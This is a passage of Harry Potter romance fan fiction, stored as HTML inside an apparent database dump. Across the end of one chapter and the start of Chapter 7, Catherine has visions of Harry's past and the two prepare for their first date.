shrugged. &quot;I just don\'t\' know.&quot; Harry\nsaid. &quot;I don\'t think she\'ll miss me for a little while.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron shook his\nhead in agreement. &quot;Remember what I told you earlier&#8230;&quot; He said\nseriously.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded.\n&quot;I will.&quot; He replied. \'I definitely want to take a few risks\ntonight&#8230;\' he thought.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Downstairs one\nfloor, Catherine had just taken notice of the time and was panicking. She\nhastily threw aside articles of clothing before deciding on a light blue three\nquarter sleeved shirt and black pants. She threw her hair back into a long\nponytail and quickly slicked some gloss on her lips. Not even a moment later,\nshe heard a knock at her door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Before opening\nthe door, she took a deep breath and cast a quick glance in the mirror, which told\nher she looked fine.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hi.&quot;\nShe said, as Harry\'s frame appeared in the doorway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry grinned\nat her. &quot;Hello.&quot; He replied. He had a hand behind his back.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She opened the\ndoor wider. &quot;Come on in.&quot; she said, stepping aside so he could enter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks.&quot;\nHe said. &quot;This is for you.&quot; Harry brought his hand out from behind\nhis back, clutched in his fist was a single yellow buttercup, which had been\nHermione\'s favorite flower.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A smile spread\nacross her face. &quot;Thank you!&quot; she exclaimed, her cheeks tingeing\npink. She took it from him and touched the silky petal. Harry was extremely\nglad now that he had brought it, as he was about to walk out the door, Lavender\ninsisted he bring a flower, and had transfigured it out of a pencil.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Come on,\nwe\'ll go in the kitchen while I put it in water.&quot; She was saying.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;As you wish, my lady.&quot; Harry quipped, following her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She looked\nback at him and arched an eyebrow. &quot;Who are you today, Wesley?&quot; she\nasked, giving him a quirky smile.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nimpressed.&quot; Harry said. &quot;You knew where that came from.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Of\ncourse I did.&quot; She replied, filling up a small glass vase with water and\nsticking the flower inside. &quot;You\'ve already forgotten I\'m the Muggle movie\nqueen.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">They grinned\nat each other for a moment, followed by a slightly awkward silence.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine took\na deep breath. &quot;So, what brought you over today?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\nscratched his head. &quot;Well, a few things I guess. Caty and I moved in\nupstairs just this afternoon.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Her eyebrows\nshot up in surprise. &quot;Already?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yup.&quot;\nHarry said. &quot;Ron, you remember him right, he came and helped us get things\npacked, then his wife Lavender came over and helped us set everything back up.\nCaty and their son Blue get along really well, which helps everything out a\nlot.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nreally nice.&quot; Catherine said. She looked at the bright yellow buttercup in\nit\'s vase again. She touched it lightly once more.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">~*She was\nlying on the couch in their living room, one hand propped on her stomach, the\nother holding up a paperback book that she was reading intently. She was so\ninvolved in her book that she did not notice a figure sneaking up behind her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Boo!&quot;\nsaid a deep voice right into her ear.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She jumped and\nher book fell onto the floor. &quot;Harry!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He grinned and\nsat down on the couch next to her. She smiled back up at him, the impish look\nin his green eyes always made her want to melt inside.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How are\nyou feeling today?&quot; he asked her, putting his hand on top of her own that\nwas still resting on her stomach. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Just a little sickness this morning, and then I felt better this\nafternoon.&quot; She\nreplied. He moved her hand and pressed his lips to her belly that was slowly\nbeginning to show signs of life inside. He moved up, kissing her on her\nsensitive spot where her neck turned into her shoulder, moving up to her\nthroat, and finally capturing her lips with his own.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She eagerly\nresponded to him, parting her lips to allow his tongue to enter her mouth and\nmingle with her own. Her hands slid into his thick hair and he used his free\nhand to cup the side of her face. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry&#8230;&quot;\nshe pulled her mouth away from his. &quot;This is how\nwe started last time, and look what happened.&quot; She pulled one hand from\nhis head and patted her stomach. Harry reluctantly sat back.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I know.\nI just can\'t resist you.&quot; He grinned. She raised one hand and stroked the\nside of his face gently. Harry leaned down and picked something up off the\nfloor.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\'s\nthat?&quot; she asked, trying to turn onto her side. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nope.&quot;\nHarry said, putting his hand on her cheek and preventing her from turning to\nlook.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What are\nyou doing?&quot; she asked, a half smile coming across her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Close\nyour eyes.&quot; He commanded gently. She obliged, and he leaned forward and\nkissed her on the lips once more. He then brought his hand in front of him; in\nit he had a single perfect yellow buttercup. He brushed it across her lips and\nher cheeks, the silky petals trailing smoothly across her skin.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay,\nyou can open them now.&quot; He said. As her eyes opened, he took her hand and\nset the buttercup in her grip.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nbeautiful.&quot; She said. He knew buttercups were her favorite\nflower in the world. &quot;Where did you find such a perfect flower?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled.\n&quot;Well, it may look perfect on the outside, but it\'s what is inside that counts.&quot; He peeled back one of the petals.\n&quot;It took me far too long to see what a perfect flower I had right in front\nof me for so long.&quot; He peeled back another petal. &quot;In fact, I was\nsuch a fool that I almost missed my chance&#8230;&quot; he peeled back the remaining\nthree petals and she gasped. Inside the flower was a beautiful gold ring with a\nsparkling one-carat diamond inside. Harry held out the flower to her and she\ntook the ring.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Make me\nthe happiest man alive and marry me.&quot; He said, his emerald eyes burning\ninto hers.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Tears fell\nfrom her eyes as she tried to regain her powers of speech. He took the ring\nfrom her hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh God\nyes, Harry!&quot; she said. &quot;Of course I\'ll marry you, you prat!&quot; she threw her arms around him tightly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You had\nme worried there for a second.&quot; He joked. He slipped the ring onto her\nfinger and leaned in to kiss her again&#8230;*~</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ngripped the edge of the counter tightly as her head pounded from the images\nflashing through her mind. \'What is going on?\' she thought.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nall right?&quot; Harry\'s concerned voice startled her from her reverie. She\nshook her head to try and clear her thoughts.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah.\nI&#8230;I\'m fine, just got dizzy there for a second.&quot; She lied,\nshe didn\'t want to tell him about what she had just experienced. &quot;I think\nI need to sit down for a moment.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry swiftly\nmoved to her side and guided her to a chair, into which she sat down\ngratefully.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do you\nneed anything? Water?&quot; he asked worriedly, she looked a little peaked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes,\nwater would be nice, thanks. Glasses are up above the sink.&quot; She replied.\nHe quickly got her a glass of water and she gulped some down and seemed to\nfinally relax a little.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nsure you\'re all right?&quot; Harry asked again.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She nodded,\nfeeling stronger now. &quot;Yes, I\'m fine, I promise.&quot; She replied.\n&quot;It\'s just been a very strange day.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How\nso?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, I\nhad the strangest dream last night and I haven\'t been able to stop thinking\nabout it all day.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What was\nit about?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine sat\nback in her chair and rubbed her forehead. &quot;Well, it started off with me,\nwell I really don\'t know if it was me or not&#8230;&quot; she told him all the\ndetails she could remember. &quot;And what frustrates\nme the most is I can\'t remember the name I saw on the coat, or what name the\nperson with the hood said. All I can remember is that it started with a\n\'G\'.&quot; she finished with a sigh.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry felt a\nstrong flicker of hope. &quot;Can you tell me what the person looked\nlike?&quot; he asked, leaning forward across the table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nfrowned and tried hard to think back. &quot;Well&#8230;she was kind of pale I think,\noh, but her hair, I remember that now, it was a light brown color,\nkind of bushy and she had it in a ponytail. Oh, and she wore a white lab coat\ntoo.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry leaned\nback, his breath coming in short gasps. This was really more than he ever hoped\nfor.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;But I\'ve\nbeen repeating what the person said all day just so I wouldn\'t forget it.&quot;\nCatherine said. &quot;Alieno Cunctus.&quot;\nShe looked at Harry quizzically. &quot;I\'ve read a lot of books in my time, but\nI\'ve never heard of that curse before.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Me\neither.&quot; Harry managed to say. The two of them sat in silence for a moment\nbefore Harry looked up at the clock on the wall.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh crap.\nI\'m afraid I have to go, Caty and I are going to dinner tonight with Ron and his\nfamily.&quot; Harry hesitated a moment and ran his hand through his hair.\n&quot;Look, the real reason I came over, about last night&#8230;&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Look, it\'s okay.&quot; Catherine said, brushing her hand aside as\nif the whole situation was no big deal.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, I\nmean, I just want you to know, it\'s not that I didn\'t want to um kiss you&#8230;but I\nuh&#8230;&quot; Harry fumbled around looking for the right words. &quot;Well, I\'d\nrather take you to dinner or something before that step&#8230;&quot; he turned a\nbright red color.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You&#8230;you\nwant to take me out?&quot; Catherine asked hesitantly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;If you\'d like.&quot; Harry said, looking up from where he had been\nstudying his shoes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ntried to breathe without breaking out into an all too eager\nsmile. &quot;Sure, I would like that a lot.&quot; She managed to say\nwithout squeaking.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Really?&quot;\nhe seemed almost disbelieving. &quot;Okay! Um&#8230;how about tomorrow evening? I\'ll\npick you up around seven thirty?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\nsounds fine.&quot; She said in her controlled voice. She smiled at him and he\nbroke out into a grin.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Great!&quot;\nhe said, moving towards the hallway. She walked out to the front door behind\nhim. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ll see\nyou tomorrow then.&quot; She said. &quot;I\'m looking forward to it.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I am\ntoo.&quot; He said. He paused for a moment as if he were contemplating\nsomething, and leaned over and kissed her on the cheek, leaving his lips there\nfor a split second longer than necessary. &quot;Bye.&quot; he said, walking out\nthe door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstared at the doorway for a long moment after he left, her hand pressed to the\nspot where his lips had just been. Oh, she had it bad.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry strode\nback into his apartment, he was feeling really good right now. Ron and Lavender\nwere in his living room with the two kids. Lavender had managed to get Blue\nwashed up and dressed in some clean clothes, and Caty had obviously gotten\nherself dressed in some of her new robes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron looked up\nfrom the floor where he was teaching Caitlyn how to play wizard\'s chess. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How\'d\neverything go?&quot; he asked. Harry smiled but shook his head at Ron as if to\ntell him he\'d fill him in later.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are we\nready to go?&quot; Lavender asked. &quot;I thought we\'d go to Hogsmeade\ntonight? You haven\'t been back to the Three Broomsticks yet Harry.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded. &quot;Sounds good to me. I\'ve missed butterbeer.&quot; He\nsaid. Lavender giggled.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nknow if Ron likes it so much anymore!&quot; she laughed even harder. &quot;Last\ntime we were there&#8230;let\'s just say he had too much.&quot; Ron grumbled and\ngrabbed his wife around her middle.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah,\nbut I got to keep you up all night.&quot; He said, kissing her on the nose and\nthen on her lips.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Gross!&quot;\nBlue shouted from the floor. Caitlyn was watching them with stars in her eyes. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron had\nconnected Harry\'s fireplace with the Floo Network\nwhile he had been up with Catherine, so all they had to do was grab some powder\nand in about five minutes all of them had tumbled out of the fireplace at the\nThree Broomsticks. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Madam Rosmerta\nwas pleased to see Harry again after so long, and delighted in meeting Caitlyn.\nShe gave them all a free round of butterbeer, and they perused the new menus and\nordered their dinner as well. It had definitely been the best night Harry had\nhad in a long time.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Late that\nnight, long after Lavender had gone home with Blue to tuck him into bed, Harry\nand Ron sat at the table in Harry\'s new kitchen.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I may\nneed your help on something.&quot; Harry said to Ron. He filled him in on the\ndetails of Catherine\'s dream. &quot;I know it must be her. That dream, I mean,\nwhat if that was what happened to Herm? And that curse, I\'ve never heard of it\nbefore.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron nodded,\ndeep in thought. &quot;Well, I\'ll ask around at the Ministry tomorrow. Someone\nthere has got to know something about that.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nappreciate it Ron. More than you\'ll ever know.&quot; Harry said. Ron smiled at\nhim reassuringly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We\'ll\nget to the bottom of this. If she\'s Hermione, we\'ll find out soon.&quot; Ron\nsaid determinedly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry grinned\nback at him. &quot;I asked her out today too.&quot; He said, his grin growing\nwider.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron\'s eyes\nwidened. &quot;Way to go mate!&quot; he said. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded.\n&quot;I don\'t know where I\'ll take her yet&#8230;but this gives me more of a chance\nto get to know her&#8230;&quot; he sat back in his chair and looked thoughtfully at\nthe ceiling. &quot;I really like her, regardless if\nshe\'s Hermione or not.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\ncool.&quot; Ron said. He looked at his watch. &quot;Well I\'ve got to get home, I\'ll let you know as soon as possible if anything\ncomes up about that curse.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks\nagain.&quot; Harry said. Ron grinned and apparated\nout.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry went to\nhis bedroom and fell onto his bed. He stared up at the ceiling and grinned once\nmore as he thought about what the next evening might have in store.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Well I\nhope that chapter was more enjoyable&#8230;as you all know what\'s next to come ;) Yay! Please don\'t forget to R/R, it helps to know what you\nguys think, and it makes me more enthused to write! Later!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 7, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 7</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A/N: Wow you\nguys; I can\'t thank you enough for all the kind reviews you\'ve been giving me!\nIt really boosts my ego ;) heehee. This is an all H/C chapter, I hope you guys\nlike it!!!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine was\ndreaming again. Although this time it was different, no sinister settings\ninvaded her mind, in fact, this dream was quite pleasant. Once again, she saw\nthe woman, who she had come to think of as herself for some reason she had yet\nto comprehend, and she was sitting on a light colored wool blanket on the\nbeach. There was an umbrella stuck in the sand next to her, underneath which\nsat a baby in a mobile car seat. The baby in it felt familiar to Catherine, it\nhad a patch of brown hair on it\'s head and brilliant green eyes. She watched as\nthe woman made faces at the baby and talked to it in gibberish.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Who\'s my\nbeautiful baby?&quot; the woman cooed, taking the baby from the seat. &quot;How\nbig is my wittle Caty Cat?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine felt\nshocked to hear this, was this Harry\'s daughter? At that moment, a familiar shadow\nfell over the woman and the baby.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well if\nit isn\'t my two favorite women in the whole world!&quot; Harry cried, swooping\nup his daughter, who shrieked in delight. The woman on the towel laughed. Harry\ngrinned at her, and Catherine felt her heart melt at his smile. He sat down\nnext to her and kissed her on the cheek.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;And how\nare YOU feeling today love?&quot; he asked her, setting the baby on the blanket\nand putting his arms around her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I feel\nbetter than I have in ages&#8230;&quot; the woman answered. She and Harry leaned in\nand kissed softly&#8230;.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Uhhh&#8230;.&quot;\nCatherine said, sitting up and wiping her eyes. &quot;Why is it always the nice\ndreams that are interrupted?&quot; she stretched, her long frame sliding down\nthe bed, her arms hitting the headboard. She glanced at the clock, only five thirty. She had not gotten much sleep the night\nbefore, mostly out of the combination of excitement of her date with Harry, and\nthe fear of having a horrible dream like the one she had had before. That\nmorning when she had gone to work, she\'d felt sluggish and tired; her nap had\ndone wonders, as she felt completely refreshed. Grabbing her robe from the back\nof a chair, she walked into her bathroom and set the taps for a bubble bath.\nGrabbing her wand, she muttered the spell for a rose scented bath, and was\nabout to step in when a knock sounded at the door. She groaned silently and\ntied her robe back on. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So where\nis he taking you?&quot; Grace asked when Catherine had opened the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;For the\nmillionth time, I don\'t know yet.&quot; Catherine rolled her eyes.\n&quot;Somewhere to eat.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cool.&quot;\nGrace replied, undaunted. &quot;What are you wearing?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That I\nhave no clue either.&quot; Catherine admitted. Grace got that look in her eye\nthat sometimes scared Catherine. &quot;What are you planning?&quot; she asked\nwarily.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Come to\nmy room when you\'re done.&quot; Grace simply said. She turned and left the\nbathroom. Catherine stepped into the tub and laid back. She closed her eyes and\ninhaled the strong rose scent as she relaxed for a good half hour. She got out\nand dried herself off, then reluctantly headed for Grace\'s room to see what she\nhad in store.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nabout time.&quot; Grace remarked. &quot;Here, I bought this a few weeks ago, it\nwould look perfect on you for tonight.&quot; She held up a beautiful peach\ncolored dress, it was strapless; the skirt fell to about 4 inches above the\nknee when Catherine held it up against herself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\ngorgeous!&quot; Catherine said. &quot;For once, you actually picked out\nsomething that I like.&quot; She joked. It was a known fact that Grace\'s\nclothing tastes ran far skimpier than Catherine\'s.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nmore your color than mine anyway.&quot; Grace replied, looking at Catherine\'s\nreflection intently. &quot;Go now, go get dressed.&quot; She winked at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nsmiled and went back into her own room. She pulled the dress on and was pleased\nto see how it flattered her figure. She cast the drying spell on her hair,\npulling it up into a French twist that accentuated the curve of her neck. She\nfished around in her jewelry box and found a pair of diamond studs that she\nonly wore on special occasions. After that came makeup, and after a few twists\nand turns in the mirror, she decided she was ready.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wow!&quot;\nGrace said as Catherine stepped into the living room. &quot;I hope he\'s taking\nyou somewhere fancy, you look gorgeous!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nblushed. &quot;Thanks Grace.&quot; She sat down in a chair; it was seven on the\ndot. &quot;I hope this half hour goes quick.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Meanwhile, a\nfloor above, Harry was rushing around his flat trying to get ready.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Where is\nmy white dress shirt?&quot; Harry tore around his room tossing things around.\nHe finally located the shirt stuffed in the back of the closet, all wrinkled\nand crumpled into a ball. &quot;Thanks for unpacking my clothes nice Ron.&quot;\nHarry muttered under his breath as he tapped his wand on the shirt and it\nstraightened out smooth in his hand. He pulled it on hastily, and then his\nblack dress pants went on. He liberally sprayed cologne over his torso, and\nagain attempted to pull a comb through his hair.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ouch!&quot;\nhe cried. &quot;Forget this!&quot; he threw the comb down and ran his fingers\nthrough his hair. \'Talk about fighting a losing battle&#8230;\' he thought sourly. He\nglanced at the clock, seven fifteen. He took one last glance in the mirror\nhanging on the wall. His shirt was tucked in nicely, and he had somehow managed\nto put on a tie. His pants had the perfect crease down the center, and even\nthough his hair was sticking out all over, his eyes were shining with\nexcitement. He left the bedroom and strode down the hallway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Looking\ngood Dad.&quot; Caitlyn called from the living room as he passed by. He stopped\nand looked in on her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks\nCaty Cat.&quot; He smiled down at his daughter. &quot;Are you all ready to\nspend the night over at Blue\'s?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yup.&quot;\nShe replied. She had her overnight bag sitting next to her. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ndon\'t mind do you?&quot; he asked. He felt bad leaving her a lot since they had\ngotten back, especially after he discovered how she had been feeling. Ever\nsince they had their chat, she\'d been a lot more receptive of the situation. He\nruffled her hair affectionately.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I hope\nyou have fun tonight Dad.&quot; She said. It made her happy to see her father\nin good spirits again. She knew how much he missed her mum; it had usually put\na damper on his good moods.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ndon\'t mind me leaving you here for a few minutes do you?&quot; Harry asked her.\n&quot;I have to get going in a moment, and Ron said he might be a bit late,\nhe\'s coming right from work.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn rolled\nher eyes. &quot;Dad I\'ll be fine home alone for two minutes.&quot; Harry smiled\nsheepishly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sorry\nCaty Cat. I know you\'ll be fine.&quot; He fixed a button on his shirtsleeve as\nhe went to the kitchen and pulled out a box from Frieda\'s Flower Shoppe in\ndowntown Diagon Alley. Inside was a single white rose; Frieda guaranteed it to\nbloom for at least two weeks. He gingerly picked it up so that he wouldn\'t\nsmash it, and carried it from the bottom of it\'s stem. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All\nright I\'ll come and pick you up tomorrow morning ok?&quot; Harry called into\nthe room.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay!&quot;\nCaitlyn called back. She giggled to herself as she watched her father rush out\nthe door. Not a moment later she was startled as the fireplace whooshed to life\nand Ron stepped out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hi\nCaty.&quot; Ron said. &quot;Did your dad leave?&quot; he asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah,\nyou just missed him.&quot; She replied.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Crap.&quot;\nRon muttered. It looked as if he\'d have to wait till tomorrow to talk to him.\nRon had found out some things about the curse Harry had mentioned to him, and\nneeded to talk as soon as possible. &quot;Wait for me just a minute while I\nleave him a note.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron went into\nthe kitchen and found a scrap piece of paper and a quill lying on the counter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">--Harry, found\nout about the curse, MUST talk to you as soon as I can, it\'s VERY important!\nRon -</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron lifted 